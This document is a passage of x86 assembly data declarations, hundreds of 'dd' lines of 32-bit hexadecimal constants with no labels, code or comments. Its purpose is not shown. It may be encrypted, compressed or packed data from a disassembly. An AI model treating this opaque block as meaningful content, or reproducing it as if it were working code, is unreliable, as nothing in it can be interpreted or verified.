		dd 0DBFA18A0h, 3F0134DCh, 89E13F06h, 5D5D72C7h,	0D2D0C93Eh
		dd 1010B927h, 0EB9E13AAh, 7DC1070Dh, 0E2476E90h, 6CFC43AEh
		dd 0C0035171h, 42714D1Eh, 48CB632Bh, 0A311E525h, 719821B8h
		dd 89DA2877h, 0BC703261h, 0A9DC3678h, 0D5CBE18Bh, 7E21D90Fh
		dd 50BD287Fh, 1F3B48CCh, 0CDA309E4h, 0BBA1F462h, 4794F647h
		dd 0CA98FF05h, 5E66E21h, 0EF6C8AA2h, 0E35DDB3Dh, 444E7921h
		dd 0E382414Bh, 0A62E258Eh, 98EF15F6h, 8E056E10h, 133E6CF4h
		dd 0FC220150h, 0A92BFF70h, 3F95E05Bh, 3066F767h, 0CBF5ADC9h
		dd 0D3C090B4h, 1F8FC0F2h, 9D127090h, 0D8B8DA32h, 7F88221Bh
		dd 0BEB00A1Ah, 0DDB8BBFDh, 983E904Eh, 0AC5CD60Ah, 1A8DCE99h
		dd 0DA2D7D19h, 0A9199A09h, 54FFBDBAh, 0E5F625FDh, 0DB4161D1h
		dd 0ECA05983h, 9DE0D1BBh, 0DF0C419Fh, 59B21BCAh, 0F0C8B39Bh
		dd 0D99667D1h, 0E7FDC579h, 0A0A07731h, 5DA55CF6h, 7804432Dh
		dd 2B3D19E7h, 29B9DCBBh, 43C97796h, 0D76383E1h,	7068CD16h
		dd 0E1D65488h, 0ED2146B5h, 0A7FC1D79h, 6A0B8CDCh, 717333FBh
		dd 7A1CD3E3h, 0E24CB2BBh, 63C57174h, 3BB58782h,	21E753B4h
		dd 0D95EFA05h, 548D2AE4h, 6B22B089h, 0BC1D77F6h, 0B7902921h
		dd 0AC44F9EBh, 0E16087A8h, 45C3E7B8h, 9D562FCDh, 39E957h
		dd 5BE1A5F8h, 725FE5CAh, 6CF9FA52h, 0BAF40577h,	57FA25EEh
		dd 8A7ADCCEh, 4BE695A0h, 5BBF9666h, 9CB12C1Ch, 96B15622h
		dd 3E3D4347h, 37150E08h, 98040518h, 0F1015911h,	18C2AEAEh
		dd 1D178155h, 302DC230h, 0D4A3B329h, 33B69A86h,	87CD8732h
		dd 2811373Ch, 9C0346CFh, 0C190B6B4h, 2C53E6B4h,	0A0FD354Dh
		dd 9BCF4680h, 416F5472h, 65E44AD8h, 8DC4628Ah, 14E43241h
		dd 2E162095h, 0B2443BD8h, 0B75BCC78h, 424CD4F0h, 50CFC5B7h
		dd 0C77D5D78h, 3195A9F6h, 0B5A5AC66h, 2C9CCC18h, 1BB3A370h
		dd 82144B4Ch, 9A53E49Ah, 664E4910h, 2E394775h, 0BF656E6Fh
		dd 0B269655Ah, 72B897A2h, 55C82167h, 44BAFACDh,	4DD82A9Eh
		dd 44E9F580h, 648E4A8Ah, 1BAE3D6Dh, 0B7609F2Ch,	49E73BF2h
		dd 25C8C5F3h, 0A0628089h, 0DA791434h, 7F699927h, 18BC1FBEh
		dd 0C9FDA94Fh, 0ADA79F15h, 469093C5h, 0A00AAB66h, 0CBC49871h
		dd 34901008h, 0F0A2115Eh, 0D90C6976h, 622F6ED0h, 0AA93DB0Fh
		dd 93CF8318h, 17EA6E4Bh, 0E3FBE2BAh, 7B4DF814h,	0F3FFB3B8h
		dd 0D5459C30h, 4629897Dh, 6FCE42E7h, 4E1BAE66h,	0E893B213h
		dd 27821CA9h, 35C49A32h, 0E92B660Fh, 0CF669951h, 3F738F9Eh
		dd 626F5C78h, 3C7EAC87h, 0AFCD6B9Ch, 269AAF54h,	0C2C48E50h
		dd 6687D2DCh, 0FFBE14D1h, 0E5EE9888h, 67A545E6h, 1D1CE370h
		dd 77BF30D2h, 70CA228Fh, 74A2E881h, 0C76571DBh,	83E58C64h
		dd 0B140F960h, 3613E88Ch, 0A796227Fh, 0CF323E3Ah, 0CCD7873Ah
		dd 0DA1768D3h, 0DAE1E8CAh, 0F7D1C39Ch, 5A1EA7EDh, 0B34976A6h
		dd 3BCCAABBh, 375F03F0h, 63EB191Fh, 0DE1CB94Fh,	0D0566985h
		dd 4F7069A5h, 0F4C4D82Fh, 544EE781h, 49838C0Eh,	3BA312D1h
		dd 0E5E0C03Dh, 0A9F6F227h, 4131C547h, 0ACE07B53h, 328E707Fh
		dd 1D744DFDh, 51F3FAD7h, 0FF65A90Dh, 0A824AA0Bh, 5CB8ECECh
		dd 6E98C9A3h, 96FE5E74h, 1813C5A6h, 0B83E0D19h,	87973252h
		dd 923216E3h, 6C086DAFh, 0F2F39D9Bh, 8B02E31Eh,	503255EFh
		dd 0AD274D6h, 46F08C2Eh, 0D0A1890Ch, 7453B212h,	16083494h
		dd 0C0D3F4Fh, 0E817DB74h, 220E8228h, 84DE23D5h,	908B8987h
		dd 3EEEA6EEh, 24560745h, 30864F32h, 0CA26D5C2h,	0BD54E3C8h
		dd 507BC086h, 2E0C7D4Ch, 0A5DABBE8h, 5356CA56h,	9471C457h
		dd 1625186Bh, 83FE46A7h, 0D2F1C45Fh, 4AF6BDF0h,	339E01AAh
		dd 0C2EE44BBh, 5BED4F9Ah, 3C117314h, 0F6490BB7h, 1D64EF48h
		dd 0A9408118h, 512D6D81h, 59EFB78Dh, 4A2719D4h,	6BF9083Fh
		dd 0B10F3503h, 0A4394C1Bh, 516EEC08h, 0E26A05E7h, 0CF4CF69h
		dd 631C9D4Ch, 31F196Eh,	0D330C5A0h, 614E634Eh, 797B0214h
		dd 9BCE2521h, 0FECB76F9h, 0A010A639h, 0DBF20717h, 0EC5DD1B9h
		dd 0B87C8DDEh, 0C6BCB924h, 3C5019EEh, 952344FBh, 5BB6AC1Dh
		dd 269FE58Dh, 5CAEC38Ch, 93B2C777h, 52B62C3Bh, 7F13F011h
		dd 637A318h, 0D2B920FEh, 70920A60h, 74BF599Bh, 9712C56Bh
		dd 83DBC4DFh, 62006F32h, 0FB1D2634h, 0A973EA01h, 64DF5328h
		dd 10EC1830h, 9EDD9A80h, 851DCA86h, 81653AC7h, 95BF43E3h
		dd 6FB5D9FFh, 592299DCh, 8BF75597h, 6DF44B18h, 0A4FDEABDh
		dd 752AC5AFh, 53A9D0B8h, 1231F3E5h, 69A4220Ah, 10A843C2h
		dd 5BA4694Bh, 583A88C2h, 0D089235h, 701F5FC4h, 0D46E9FB1h
		dd 27DBF326h, 0D39A3A1Eh, 0D6CE2202h, 956B8949h, 4A9BE6B7h
		dd 934A7AFAh, 7B1CA90Eh, 5FF0B5E2h, 74BB91B9h, 572624ECh
		dd 0F5EF8173h, 364C7117h, 1E07B51Eh, 6C883FB3h,	27E5E6CFh
		dd 0F4E4024Dh, 62F969B0h, 69BF21CBh, 7AE01DAEh,	1D8F54CEh
		dd 1D8327B1h, 0C676C3AAh, 1AC639C2h, 9244369Ah,	0CDCEDC33h
		dd 0ADC3DF29h, 33F7861Ch, 0B4C30339h, 45E2F7B2h, 0AB81FD7Bh
		dd 7153AD9Ah, 3E0CEBAEh, 1E9BEEA5h, 0C4609CFBh,	27BC0AB8h
		dd 72FFD523h, 49755452h, 0BE8BB350h, 256A2C0Dh,	5C651975h
		dd 7FB3060Dh, 0F216B36Bh, 22A68FB7h, 0A46EDEABh, 4469B11Fh
		dd 2E042C33h, 0B8336CCDh, 0C4727DEEh, 4227433Dh, 0F4CC5B9Eh
		dd 0C89D3C4h, 7929F77Eh, 7850B79Dh, 50D0647Fh, 5C07447Ah
		dd 0ABE91FC2h, 9B1FA242h, 72680A4Eh, 0ECF181DDh, 6FE0633Bh
		dd 0D3266594h, 6012C3B8h, 0AC818D10h, 5B5DDE6Ch, 0C435A40Bh
		dd 726FF73Fh, 5BBA7548h, 2147BE87h, 185DAE2h, 0EF2C219h
		dd 0C5496D3h, 3F4970B5h, 7BB9E1E1h, 0A2DBFAF7h,	0C43096E5h
		dd 70B5B581h, 814BA260h, 4CED5229h, 8DB21EC8h, 0A30134C4h
		dd 5D275D2Ah, 0CDC1DB3Ah, 56737A41h, 1CDAADDAh,	0E28D1F36h
		dd 2BE954D5h, 7570C8B4h, 44081851h, 0E173886Bh,	0EF19091h
		dd 0F89588E5h, 0DBA51F90h, 6C6758DEh, 0BB65874Dh, 0A2FF65B8h
		dd 74C0F782h, 0E8EC0162h, 0A7C43310h, 723CE898h, 2F2726ECh
		dd 15448271h, 9F947D6h,	677D356Ah, 0F32FF44Ah, 8A0D14EBh
		dd 0AFFC2EE8h, 84C0577h, 2EA102D1h, 5D000978h, 8AEB2838h
		dd 168C83AEh, 0E8DD3342h, 0A0568D3Dh, 0B267919Dh, 60BA135Fh
		dd 0A1420914h, 0FC13BDCh, 16EDA60Bh, 0FFF2264Eh, 308CEFA6h
		dd 4EAFFF3Eh, 67BE61AAh, 2D6621BFh, 0D4A4465Eh,	0C8221E5h
		dd 9768C122h, 259359Eh,	4C02FC39h, 18B05BFCh, 4525F490h
		dd 469C5FF7h, 98A0F087h, 9C1D3108h, 28C063C3h, 7D7CAE9Bh
		dd 1C5F2E35h, 10E20F4Bh, 83557AD1h, 32EF1282h, 0D3070406h
		dd 6DA7D2E7h, 0DE25239Fh, 0E324A4EDh, 0F6DC1ECh, 688D03A3h
		dd 0F6AB87B6h, 0E485AF59h
		dd 0C84D7DB9h, 41C7BAE3h, 0A10B6180h, 9A9CE0Fh,	5438EDD3h
		dd 7D0BFA2h, 95F73283h,	6CB12B8Eh, 0FFF94FF4h, 31F74929h
		dd 0E683EB9Ch, 0AC3AB477h, 284165D3h, 6A7673C9h, 7318795Fh
		dd 0F129FAA0h, 1ED902FDh, 0CAA06002h, 9F0C9C7Ch, 0CF0D497Ch
		dd 24F953FAh, 73EEF9B2h, 0EA1AD8D9h, 1761A650h,	7A7715A9h
		dd 7DCFD239h, 0A464BB4h, 793413E4h, 26273F5Dh, 0F406F09Ch
		dd 0DE548C10h, 0EAE872E7h, 0A4802696h, 187AA119h, 88C06C46h
		dd 0ED91026Eh, 813F1302h, 63D46D4Eh, 0F1994182h, 1C981A1Ah
		dd 0E94AA7C7h, 22BA2834h, 2327B417h, 0FA6CF6Ah,	0B3C83094h
		dd 237AC5C7h, 573EED3Bh, 0C88D01DEh, 5BCF485Fh,	4D84041Fh
		dd 2F970E8Ch, 613253B9h, 2EC0BFB3h, 0C9AA3380h,	6B936114h
		dd 1E3DF2EBh, 6E7A32E2h, 5E36A23Fh, 0D06F852h, 0F36116EEh
		dd 920BA882h, 24F5FA18h, 0E641695Eh, 2249DEBAh,	0B0093DA5h
		dd 0E98C8A65h, 0BBB4B105h, 0E18DF3D0h, 0EA8B45E8h, 1BCF3982h
		dd 4A778A47h, 0EE2B062Eh, 57B89CB7h, 935B78FEh,	1423C4A3h
		dd 240C5679h, 61BADEF4h, 866F537Bh, 2E00F8D5h, 3E0975C5h
		dd 753575B7h, 3E93C7B9h, 0BDAA7D06h, 1FA14DEh, 4660C160h
		dd 0CE602340h, 4B18A761h, 4D68164Bh, 603ABC64h,	8DF8D965h
		dd 0F9BFA882h, 4E5966C3h, 6749A65Dh, 44413123h,	3425D882h
		dd 0DF49E51Bh, 0FF9011DBh, 0D84B0D8Bh, 0ED88EBA5h, 4BEE562Eh
		dd 3323A469h, 4CA2CE7Dh, 93803BFBh, 0B5B11E08h,	2B4F8A0Ch
		dd 9DF48E64h, 693D3261h, 0A6B5ECE6h, 0FF6EE82Fh, 64711772h
		dd 22BC7B0Dh, 2BE57927h, 756543BDh, 332C52B5h, 6B4EB03Ch
		dd 0E552E4C7h, 6D8DD980h, 132CDE69h, 39DD1038h,	0C8295620h
		dd 0C5BDE77Ah, 4A2F42FEh, 0F313D0B7h, 0DED5A392h, 43DF4700h
		dd 0A61E3591h, 75399D9Ch, 6D82CA01h, 74A77C1Fh,	21060AD7h
		dd 0AEF2F9B6h, 7FE5603Fh, 0BDE1272h, 633AE88Fh,	0A17EA47Ah
		dd 0C59FCD29h, 99C98B06h, 92411713h, 0A7724EDEh, 0D8B62460h
		dd 0CE5A7B81h, 0C3C857D6h, 77CD5D3Bh, 0C8DEEFBCh, 0CA0D540Dh
		dd 70706A6Ah, 1A723783h, 1BFC4D0h, 9CC29507h, 2431178Dh
		dd 0D9B9AD1Fh, 294F6AAh, 55B3F297h, 0A3A954E3h,	73918AD6h
		dd 444A8254h, 0A88ACB40h, 6BFFD1F8h, 58B41407h,	0AA63D145h
		dd 0A254F1DEh, 9E9BD7B3h, 2F5A64CFh, 0DF6F6831h, 87044CAEh
		dd 34948C6Ch, 2DA90381h, 43C9968Dh, 57135B5Ah, 0BF1CF23Dh
		dd 73C17593h, 4509CABCh, 7B1C0BFDh, 8A01A6F6h, 26F0BE3Bh
		dd 492E3F55h, 69C68B1Ah, 0BF9DCFDCh, 0E6F82C2Fh, 0A413402h
		dd 3745EBDDh, 6578DE6Dh, 0EF11394Bh, 0FA978D86h, 1BFB99D9h
		dd 0DA8F426Fh, 0BB02A90Ah, 87E5AEBFh, 92707A61h, 0AE5F927Ch
		dd 0D6EBE9F3h, 0B9E57FD9h, 0BF3624Ch, 0C38E2F31h, 4756D08Bh
		dd 4F114AAAh, 2B79BEDFh, 0E99EECD8h, 0BE8F55C0h, 3499520Ch
		dd 68ECAA8Ah, 0BBD7E064h, 7D128609h, 0E58C6726h, 6DAA5C21h
		dd 5715ECA3h, 9553A21h,	1EA59B62h, 0D8066D9h, 0C596F85Fh
		dd 1D7F4F71h, 3A84A912h, 0A6448D46h, 3B7D4040h,	229581BAh
		dd 79E03C5h, 0CFAD04BEh, 7F24AEF5h, 3AF58CF1h, 702A0632h
		dd 88123DE4h, 0EFB23E0Eh, 28D945FCh, 0A7446916h, 0EECA9D05h
		dd 699BBD87h, 0D26A2A21h, 0B20032FAh, 6CD23181h, 0B7A6150Fh
		dd 0AB74D296h, 0C75A4F26h, 0ADE2E84Ah, 9CBEDC46h, 0A4495A68h
		dd 0ACEE901Bh, 8972E332h, 0FE56042Eh, 76002118h, 9DC1756Eh
		dd 90812AA1h, 8D7C3157h, 95981B0Ah, 42EFE4E8h, 19DBF96Ch
		dd 2303F0DDh, 1673BF9Bh, 8F280D92h, 0AE821894h,	44102635h
		dd 0F34160FEh, 0ECB4DDD5h, 0D40EA87Fh, 2C38A590h, 6108A0BEh
		dd 0EC8A525Ch, 945FD2CEh, 0B642D06h, 10400607h,	0F42516B7h
		dd 98F3AC5Bh, 0F19A8017h, 0C9FEBE88h, 5AE4368h,	58BBFE0h
		dd 9D2D4EF6h, 1765771Fh, 8DD107A3h, 960B5A56h, 0A676F58Ah
		dd 2F8941E6h, 1351D83Eh, 0ACC7B21Ah, 0ED96BC7Fh, 4970A4E8h
		dd 8B43B26h, 27DBC41Bh,	0B1E2FF63h, 0D1FF953Ch,	0BDB5501Ch
		dd 0B23E547Eh, 95E983A3h, 41E1A4FFh, 4A016062h,	0E253C36h
		dd 0B235E10Dh, 348F7BB8h, 7961E42Ah, 5F7D975Bh,	0DA4C5C4Fh
		dd 591FB7CFh, 5718AAFAh, 6BEDC6EBh, 61697102h, 8ADE02CAh
		dd 49F65CD9h, 0DB7E6793h, 0B60DFBE9h, 0F3312FC0h, 3F47E217h
		dd 8E6CD8D5h, 5F89C60Bh, 951A2EEAh, 0D828AD7Ah,	0F2D4300Bh
		dd 96A73EDEh, 981759E5h, 3F4F272Ch, 45086D46h, 0B9D81C50h
		dd 0DF8F18BFh, 386FD4FCh, 0BA528700h, 7917A0DBh, 0D357A7E0h
		dd 0C911ACE3h, 19359E2Dh, 304422E7h, 58AC42A3h,	0B34EBA41h
		dd 9AC3F61Dh, 686D2F10h, 0CE4D4121h, 2441E4A0h,	722133F0h
		dd 0AE317728h, 0B3049309h, 0F833B79Fh, 0F7702463h, 748C085Ah
		dd 0C6614328h, 4D0136DEh, 3EAA8A35h, 9DFE0B96h,	7E5A80BFh
		dd 45097FFBh, 44C91FA3h, 9F552625h, 0FD871E87h,	0A75BE979h
		dd 791CE008h, 0BA09560Dh, 0A31B4182h, 8911138Bh, 108A8921h
		dd 4B527B8Ah, 0A8B79C53h, 0A7F2526Ah, 4D1257B0h, 49D29043h
		dd 89C440A3h, 140C6801h, 4516A814h, 95DEC7FAh, 25484ACAh
		dd 5A1D189Bh, 887224F8h, 0FA554BC2h, 0F3412538h, 78F67442h
		dd 0BF79D9FCh, 0EDD8BAC6h, 0CD54A3C4h, 0D08C7BAEh, 7419F4Bh
		dd 0F672FD2Dh, 2DB7803h, 0E5B71159h, 0ADE8C985h, 0A7C17757h
		dd 86FA6AA6h, 0ED762D7Ch, 0FA4E0A5Eh, 0EE64B40Fh, 0EF7D0F9Ch
		dd 26B73850h, 0CFF6A47Fh, 0B7B56FFEh, 273EF8EDh, 1056B422h
		dd 0B8A3981Bh, 6E7D5189h, 0A04010F2h, 50362A32h, 40667974h
		dd 658DA56Bh, 0E3B2B691h, 0F74F1B09h, 996974BBh, 4E7B3B12h
		dd 3C15B2B6h, 503E6A56h, 0A8A6EA74h, 0C20BA623h, 0C7872E82h
		dd 0AED3B7D4h, 2F414805h, 82D1F576h, 3AF8B0D4h,	1584682Dh
		dd 2135B3F9h, 821AF33Dh, 92EDBD87h, 2B590431h, 7AF802B6h
		dd 6A409531h, 5333807Ah, 985ED3C2h, 7BBFCDFFh, 0F359892Fh
		dd 106367DAh, 296BE40Eh, 0C3D5B87Fh, 9C8C5F29h,	0CF996CDAh
		dd 0CF4A31FEh, 2D591DAh, 4E20C569h, 6E2EC213h, 0CC131DF0h
		dd 8C51EB4Bh, 0A4D1ECA1h, 0BFE4FD01h, 0A94030A7h, 35632293h
		dd 0E0812BEEh, 9BC320DEh, 3A4230E0h, 0E8F424F8h, 9983DB94h
		dd 0A7B2C8C7h, 9469707Ch, 0B6D4A8FBh, 0D767B758h, 0DD550F76h
		dd 0E34EF3CBh, 0C3AD54B3h, 0AFEE6F60h, 30466BD8h, 0DFD414C1h
		dd 43344F9h, 0FBBC0A3Fh, 590C9996h, 0B22F6101h,	8CC91CD7h
		dd 30C0B167h, 9D9EA9EBh, 0C5BFCF42h, 1AD0FBE7h,	0DF053014h
		dd 0E5090333h, 95B88A07h, 2257A037h, 4A2D0E52h,	0E6C4314Ch
		dd 4800CBBDh, 9BB55A9Ah, 0D80F5A9Bh, 0FC3C745Ch, 0EA6B5C24h
		dd 0FB284826h, 15B137E7h, 7A40A2D3h, 36801186h,	0C5BDC56h
		dd 38463EE6h, 0B2D23202h, 347EE914h, 290D7F81h,	9B0F18CFh
		dd 666302ECh, 1B4AE6D0h, 0DA5C0C73h, 0E7CEB352h, 0AD70583Dh
		dd 0C02B51DEh, 0BA4BCA37h, 0F9F41039h, 96A36181h, 0BB15980Bh
		dd 1769C60Dh, 394751h, 91A1B7CEh, 0EB92112Ah, 646FE0F7h
		dd 0B2DD318h, 0D1687503h, 2887A4C4h, 8B7F5FE4h,	5277CB68h
		dd 2F3B4D49h, 292E8877h, 52D338C0h, 0EEF46D3Ah,	237F8F9Dh
		dd 2A4B0ED3h, 0C4BF845Fh, 0FA742B75h, 7C258E3Dh, 89889226h
		dd 0EF133AADh, 19E8B417h, 65E835C8h, 7F8A4D7h, 0A3371201h
		dd 0DEC13A3Fh, 0D2DF1309h, 0E935CD1Dh, 7CF3CBE7h, 6F98FE9Ch
		dd 5530F75Eh, 7CC423BFh
		dd 3DFC1848h, 9CA19E52h, 83AE2B70h, 6D480032h, 0CE11BB33h
		dd 8452592Ah, 5790D675h, 506A1AD1h, 0D2F4A7ACh,	893044FEh
		dd 1651244Dh, 7FCE1304h, 6D8C527Eh, 100AF55Dh, 8185C419h
		dd 0DBA152BBh, 491F5369h, 0B3ADFE20h, 0E5034DFBh, 488E7799h
		dd 0E44D1ACEh, 608A8F01h, 0ED217351h, 4AA5E79Ah, 0A07DE324h
		dd 0FBCEED18h, 0A7EE7639h, 9D72A65h, 8FB5972h, 6A75C42Dh
		dd 3624C4A6h, 85710E21h, 35FB8B4h, 777D8A33h, 0C771EE5Fh
		dd 475F8592h, 525CF5BDh, 0BE29595Ch, 87264A17h,	5E7E8EC7h
		dd 0F1B74D7h, 7D4268E7h, 4ED7347Dh, 9C085514h, 0DE7BA00Dh
		dd 497DD5E1h, 28B80092h, 0ADCCF629h, 0AA52DF25h, 0FCDE971Bh
		dd 5B9F74CBh, 12659FDDh, 1DFF2AAh, 949466D4h, 264D7451h
		dd 97018A23h, 9ECE15EEh, 16CB63B0h, 14B92E4Ah, 8DEE72AFh
		dd 371C6F7Bh, 1762CF21h, 0C2A2D0BEh, 8E1EC693h,	3E99EC82h
		dd 38C23BE9h, 0FADA08Eh, 0FA158BD6h, 995A591h, 52FA3373h
		dd 0C75876C1h, 90F77089h, 941B4682h, 0F186EDAAh, 41E5B18Dh
		dd 26296C9Eh, 81AEDA3Fh, 0D462FF52h, 0F99D57CDh, 35A8F901h
		dd 0E8C8F919h, 911C802h, 0CADD9BE0h, 96E02640h,	1561F0B4h
		dd 0B59E4585h, 0E742C79Ah, 3CB79E8Fh, 4A18BC8Ah, 5C1F4A12h
		dd 295B0D68h, 2DF5741Fh, 98972A10h, 34A6BD8Fh, 6FA4D330h
		dd 1E10BA1Eh, 0FE80B34Bh, 0FDF00A50h, 8CC5DE62h, 0B83F2D71h
		dd 407C8E5Bh, 2C4C9B72h, 0E129BE36h, 0FA52AAB3h, 0B2D981FBh
		dd 83744090h, 41F93FD5h, 6DF464C1h, 0EABF0803h,	90838B96h
		dd 7584E3C1h, 0D2840D12h, 71BBEB50h, 8FA6DF62h,	0F96C2FF6h
		dd 6DA14420h, 9B1E850h,	0F9D256A3h, 0A1979CC3h,	0BE35404Bh
		dd 4993542Dh, 7A4F2FB1h, 24A79C1Eh, 0ECDACC4Fh,	4B532E84h
		dd 0AEB65308h, 3585CAD3h, 1738A09Eh, 0B8427B1Ch, 3289738Dh
		dd 1472825Ah, 0FC1B3759h, 2853A828h, 95C642D6h,	184B3BEBh
		dd 882AD93Ch, 3358E590h, 17F38DDAh, 2BCF20D0h, 8FED2F1Ch
		dd 0F08C0899h, 0C190E96Bh, 0D850FBD5h, 0FC20D677h, 6860D6D7h
		dd 3FD21965h, 71EE8C2h,	0FBFE336Ah, 0EE27D3EDh,	72E72EB0h
		dd 0BC19FC77h, 45D43A11h, 0D0CE8A3Ah, 0A680D2F3h, 0D76985A7h
		dd 0C35F08E9h, 42837348h, 9F26679Eh, 0BF5D59A5h, 0FE9B3EA2h
		dd 0E3D8B0DEh, 358F13DDh, 0DFADAEE7h, 0D98F9108h, 0FD866C88h
		dd 0A5EDCFB9h, 61A378BDh, 0E5AACAFCh, 0E5E886B2h, 6F82F801h
		dd 0C3DDF54Fh, 6F70183h, 7961B962h, 0EAC27AD3h,	993310A1h
		dd 0FBA3330Bh, 22E74224h, 9A0152BCh, 0B8C25426h, 0B2AFD031h
		dd 3B1C7407h, 95E97ACAh, 545E2BABh, 557B4EBAh, 77292161h
		dd 9F315BB5h, 0F2755C9Dh, 2AD20D37h, 267CFD76h,	61AE83Ch
		dd 0E4668644h, 7EB0D8D1h, 0C9FD9E05h, 866778FFh, 711A2707h
		dd 0CE47D247h, 0D4A6AACh, 2178BF8Eh, 0DB028A9Fh, 2ECA7002h
		dd 0A9712D96h, 8FD6DFE8h, 0E6D27459h, 495C89FCh, 9ECE23F9h
		dd 0DDA4A01Dh, 53EEA836h, 1EABFFB2h, 0DBC9D6B6h, 99DF407Eh
		dd 0BDABDA8Bh, 52F8031h, 3C9C7B49h, 7C3B707Fh, 0CCDFE25Ch
		dd 0FD027E9Fh, 8995763Bh, 0DFA5B734h, 0D1A4AAF7h, 750446A8h
		dd 636A83B5h, 0A1669D4Ch, 6EDC2311h, 41F2EC97h,	0B7A0F568h
		dd 0E1D6E69Bh, 0A5E98BFDh, 3C817964h, 0EEAD0525h, 73B9C130h
		dd 0F4BBC69Ah, 84CECDD4h, 0CE3DDB4Fh, 0B32BFEBEh, 6443D0B3h
		dd 8C933DA6h, 0F36980A5h, 9FFFDA7Ch, 0D16AFFD8h, 0DF6986FCh
		dd 4AE9A884h, 31F4EDAAh, 301756EFh, 3454D166h, 0B798F2ACh
		dd 80E40AFCh, 0B3A72C7Ch, 3DEFE9DBh, 0F03898E2h, 6F9BFB7Dh
		dd 0FBF40E85h, 0A7327076h, 26E24609h, 103DACF9h, 9C2D6D8Bh
		dd 0CBE2DCCh, 0CA138CCh, 0AE5247F5h, 0B8A6F9B9h, 7C0FCA14h
		dd 1E09F039h, 0EFBEEE1h, 0DF6FB16Ch, 0A0217421h, 8FAA38E8h
		dd 95B45E36h, 13C1A828h, 0D1A41651h, 0B5FA49A6h, 17B0C6F9h
		dd 1C4D1516h, 46225A33h, 0D84E25Eh, 0C49E6768h,	55FA2734h
		dd 88228CA3h, 693A6117h, 0FB3F7E2Eh, 0F2642742h, 59E1DBF4h
		dd 0B8A4B019h, 0BC574D0Fh, 0C2525169h, 8A64790Ch, 1B453977h
		dd 1F6A6313h, 77F511B7h, 21EAB612h, 45B6C3D2h, 540AFF85h
		dd 96AE850Ch, 0FAE6BF93h, 0FCB0D3B5h, 0AF43DF3Fh, 0CC584D3Dh
		dd 0B530E540h, 8DB8F390h, 15A689C6h, 152BCDE6h,	0CC9B7EF7h
		dd 3805B47Eh, 22CDB37h,	1BA0BA29h, 4764901h, 0C22BABECh
		dd 14E76B11h, 67417E8Fh, 73A9D5BEh, 7CA237B8h, 0BEC795EDh
		dd 667AD571h, 670B0B21h, 0FA255AFAh, 0F1D09531h, 10B452ADh
		dd 1C36DC16h, 0B7C717D8h, 2AA16B8Ah, 0A005E3B4h, 0B712A9AFh
		dd 5CF713Fh, 0BBDED52Ah, 781245BBh, 0C8838036h,	31405C06h
		dd 46E94DD3h, 0DFEA5F2Ah, 0F73125B2h, 0BCCCAA36h, 779948BEh
		dd 6D3BBBA8h, 459723BEh, 0E6F54C10h, 0D041981Dh, 33DF3B1Bh
		dd 80E51B1Ah, 0B9C1FFB8h, 0F2D1E6D2h, 6A558B4Ch, 0DA718D54h
		dd 1903F86Fh, 0FD798698h, 1F2F21F3h, 9592D1FCh,	842B8913h
		dd 222BDF85h, 0C0E40C41h, 0ED63FD97h, 616011F3h, 5F5FD2FEh
		dd 0D6256F2Fh, 814EECFDh, 1C3507BFh, 5D2F636Fh,	3B972391h
		dd 0BE83D600h, 0AEA982D1h, 747B4976h, 4FCEB15h,	8E2FD2DEh
		dd 3AF9CB3Dh, 83887E37h, 34FFEDF9h, 554C4E1Ch, 88C90294h
		dd 0B5720153h, 5B4193CCh, 67CAEF25h, 1AB6D80Bh,	1C74A20Ch
		dd 0AA8717C4h, 0CE3F755Fh, 0D17F7A9h, 0D21DDAC6h, 10416A09h
		dd 6D99052Bh, 0DFF53161h, 7312D2CCh, 0D70A842Ah, 1200A4C6h
		dd 32686CAh, 0DA2D5A2h,	0E784185Ch, 22FE223Bh, 0D443D9ECh
		dd 7DFF1564h, 768E9382h, 1C51D7CBh, 18E01FBDh, 35B14392h
		dd 5C85E675h, 0D334B623h, 29E76F49h, 9E20D0E0h,	8836FF65h
		dd 53D35680h, 5612D4D9h, 0E4C4BC89h, 606695C2h,	5343370Fh
		dd 5E9B346Dh, 7C80C045h, 0A32B9969h, 0C2C5FB76h, 432FAFABh
		dd 7C0B64h, 3C05B9FFh, 2BAED153h, 0C59588B9h, 19FED9EFh
		dd 0CB392193h, 0BF0A6FFDh, 6D295B0Bh, 0D9696F66h, 0EB2434AAh
		dd 406E83EBh, 6D131BFBh, 0BD7C6DE5h, 25B3225Ah,	7E3CD2EBh
		dd 0B55E3DDFh, 0AF27CA16h, 71B62B03h, 0E8B33EBFh, 0AB3B23B9h
		dd 0B186148h, 0AACFCCB7h, 1CD0D3B1h, 2FF3EB44h,	33879323h
		dd 58011CF5h, 0D87BC4F7h, 66F6D94Ch, 3D3F0BD6h,	5103C627h
		dd 5DA31C48h, 842DFD7Eh, 78A78707h, 61762ABh, 81484DF8h
		dd 0D6F4C7C0h, 0FA94611Bh, 763EC4BFh, 3A2AD78Dh, 0D52D7A23h
		dd 204BD4DFh, 0BA734684h, 5F8E9683h, 4444D197h,	87AAD60Ch
		dd 9CE06BBEh, 0B896CD8Eh, 777CB578h, 1E1DC812h,	0CCD699EBh
		dd 0B46357F9h, 0DC2A6E1Fh, 2E4EE267h, 7647C0C6h, 42F0F542h
		dd 8E88296Ch, 9E406E4Fh, 817172B1h, 0ED59EA0h, 0B2182CB8h
		dd 98583263h, 0B2149F54h, 0C4370711h, 9929403Dh, 76A88A91h
		dd 9803F4C9h, 98467A1Fh, 529D9EB9h, 0DEF5EE85h,	0FF11D8F2h
		dd 7C4D7923h, 6A58A30Eh, 4669CB6Bh, 31F1C0DDh, 0C7900B8Ch
		dd 0A18E5542h, 465C1Bh,	0E159CA76h, 7F7B06D7h, 0CF8B049Eh
		dd 0FDED9034h, 0B7FADE4Ch, 0CE791516h, 8C862D54h, 660D48F5h
		dd 0D2DD3B75h, 0B5348964h, 7B5A842Bh, 3A58A5B8h, 679D8BA7h
		dd 57CC81F9h, 0E391E4E6h, 4BA29965h, 69F2BECAh,	204EB8DCh
		dd 5830E594h, 56CA36F4h, 0B2FFC309h, 0D3714C35h, 4FAB78E5h
		dd 84500938h, 0CC84A88h, 2C5B0F10h, 0A6992B62h,	0B7B16DEAh
		dd 0CBF68820h, 875461B0h
		dd 0E5EF4E0Fh, 0C4E2CD93h, 47C5E345h, 92DA6753h, 0A0945A24h
		dd 4E899497h, 389C0E84h, 0C64F6218h, 0BEBCEA3Dh, 0ED439C53h
		dd 327453D7h, 65AB1BFEh, 0C828187Eh, 11BE78AAh,	381FFAB4h
		dd 4CB0F03Dh, 0E1A7D1EFh, 0D5F344A1h, 11B10588h, 6F07200Ah
		dd 0CEF7E182h, 7F3C4291h, 77859FEBh, 0F05C7475h, 0C04042A1h
